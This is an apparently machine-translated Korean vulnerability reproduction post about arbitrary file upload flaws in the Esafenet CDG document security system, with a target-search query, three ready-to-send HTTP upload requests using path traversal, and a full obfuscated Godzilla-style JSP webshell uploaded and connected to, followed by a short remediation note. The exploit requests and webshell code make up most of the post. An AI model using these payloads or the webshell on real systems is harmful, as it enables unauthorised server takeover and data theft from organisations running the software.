이사통 전자문서 보안관리시스템 임의파일 업로드 취약점 재출현

0x01 제품소개

    이사통 전자문서 보안관리시스템(약어: CDG)은 전자문서 보안 암호화 소프트웨어로, 드라이버 레이어 투명암호화 기술을 이용하여 전자문서를 암호화하여 내부 직원의 비밀유출, 외부인의 불법 도용을 방지하는 시스템입니다. 기업의 핵심 중요한 데이터 자산, 전자 문서의 전체 수명주기 보호, 시스템에는 투명 암호화, 활성 암호화, 지능형 암호화 등과 같은 다양한 암호화 방법이 있습니다. 서로 다른 그라데이션 문서 암호화 보호는 기술, 관리, 감사의 유기적인 결합을 구현하고 내부적으로 3차원적인 종합 정보 유출 방지 시스템을 구축하여 비용, 효율성, 보안의 균형을 이루며 전자 문서의 데이터 보안을 실현합니다. .

0x02 취약점 개요

 Ysaitong 전자문서 보안 관리 시스템의 UploadFileFromClientServiceForClient, /CDGServer3/DecryptApplicationService2, /CDGServer3/fileType/importFileType.do 및 기타 인터페이스에는 임의 파일 업로드 취약점이 있으며, 무단 공격자는 이 취약점을 통해 악성 백도어 파일을 업로드하여 서버 권한에 접근할 수 있다. .

0x03 영향 범위

      글로벌 영향력(10,000레벨)

0x04 반복 환경

 FOFA: app="이사이통-전자문서보안관리시스템"

1ac4b136f1d342408f7ba87f80e085ca.png

0x05 취약점 재현

PoC-1

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

文件内容

 관행:

8af5c58ca29843fc94ac96d90cd6ff8b.png

추신: 업로드 후 루트 디렉터리의 tttT.jsp에 액세스할 수 있습니다.

9a71f429b0d24b02b6b6e09249021ede.png

PoC-2

POST /CDGServer3/DecryptApplicationService2?fileId=../../../Program+Files+(x86)/ESAFENET/CDocGuard+Server/tomcat64/webapps/CDGServer3/a.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

文件内容

관행:

URL 확인

https://your-ip/CDGServer3/a.jsp

 

PoC-3 

POST /CDGServer3/fileType/importFileType.do?flag=syn_user_policy HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Encoding: gzip, deflate
Accept: */*
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Connection: close
Content-Length: 212
Content-Type: multipart/form-data; boundary=a6c1544109e610dc4bddfc7583725f9c

--a6c1544109e610dc4bddfc7583725f9c
Content-Disposition: form-data; name="fileshare"; filename="/..\\..\\..\\..\\webapps\\ROOT\\a.jsp"

文件内容
--a6c1544109e610dc4bddfc7583725f9c--

관행:

루트 디렉터리 확인에 직접 액세스

악용하다

고질라 무료 말 생성

도구 주소: https://github.com/Tas9er/ByPassGodzilla

6fd65c80c88a49d8b9417ee644d91496.png

업로드를 시도하다

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

<%! String govsb_NQ = "c1976fc471d32d0b";
    String govsb_rRDYrq62F = "Tas9er";
    class govsb_yYcq09pP504Xb extends /*edusb_Yd*/ClassLoader {
        public govsb_yYcq09pP504Xb(ClassLoader govsb_vLM8) {
            super/*edusb_QST55l*/(govsb_vLM8);
        }
        public Class govsb_qvs(byte[] govsb_pHH5nFhGBGJrs) {
            return super./*edusb_9lA81*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_vZLmO*/(govsb_pHH5nFhGBGJrs, 1099931-1099931, govsb_pHH5nFhGBGJrs.length);
        }
    }
    public byte[] govsb_VA(byte[] govsb_RDLs5gMnLdx7, boolean govsb_FJ1cLOh5) {
        try {
            j\u0061\u0076\u0061\u0078./*edusb_yyAR3cHFdavJGU*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_Bsa1 = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_ugUsn1*/("AES");
            govsb_Bsa1.init(govsb_FJ1cLOh5?1099931/1099931:1099931/1099931+1099931/1099931,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_AD7*/SecretKeySpec/*edusb_qvGt5qn*/(govsb_NQ.getBytes(), "AES"));
            return govsb_Bsa1.doFinal/*edusb_f5*/(govsb_RDLs5gMnLdx7);
        } catch (Exception e) {
            return null;
        }
     }
    %><%
    try {
        byte[] govsb_tby6ZYM2tmeJCk = java.util.Base64./*edusb_Hr5K*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_Wty*/decode(request.getParameter(govsb_rRDYrq62F));
        govsb_tby6ZYM2tmeJCk = govsb_VA(govsb_tby6ZYM2tmeJCk,false);
        if (session.getAttribute/*edusb_7*/("payload") == null) {
            session.setAttribute("payload", new govsb_yYcq09pP504Xb(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_RqwVLvZTZBVeCp3*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_V6FRLkLW*/.govsb_qvs(govsb_tby6ZYM2tmeJCk));
        } else {
            request.setAttribute("parameters", govsb_tby6ZYM2tmeJCk);
            java.io.ByteArrayOutputStream govsb_3 = new java.io./*edusb_v9iBBl*/ByteArrayOutputStream();
            Object govsb_YCJ = /*edusb_xLTC*/((Class) session.getAttribute("payload"))./*edusb_Invmf*//*edusb_8Q5Mk*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_lSK4DHyA*/;
            govsb_YCJ.equals(govsb_3);
            govsb_YCJ.equals(pageContext);
            response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(1099931-1099931, 16));
            govsb_YCJ.toString();
            response.getWriter().write(java.util.Base64/*edusb_Qz*/.getEncoder()/*edusb_P9Bzr0TBcIv7y*/.encodeToString(govsb_VA(govsb_3.toByteArray(),true)));
            response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(16));
        }
    } catch (Exception e) {
    }
%>

a13a1d33cc094afa8a80d09362681544.png 연결을 시도하다

f6499604ec2944a8b8ce0e78c756c8bd.png

05d6676a25624c2992529bb09d36a650.png

0x06 수리 제안

시스템에는 업로드 지점이 많으므로 관련 인터페이스에 액세스 인증을 추가하고 보안 그룹을 신뢰할 수 있는 주소에만 열도록 설정하는 것이 좋습니다.

또한, 공식 홈페이지에서 보안 복구 버전을 출시하였으니, 해당 취약점을 수정하려면 공식 홈페이지(
https://www.esafenet.com/ )에서 최신 버전으로 업그레이드 하시기 바랍니다.

추천

출처blog.csdn.net/qq_41904294/article/details/132310495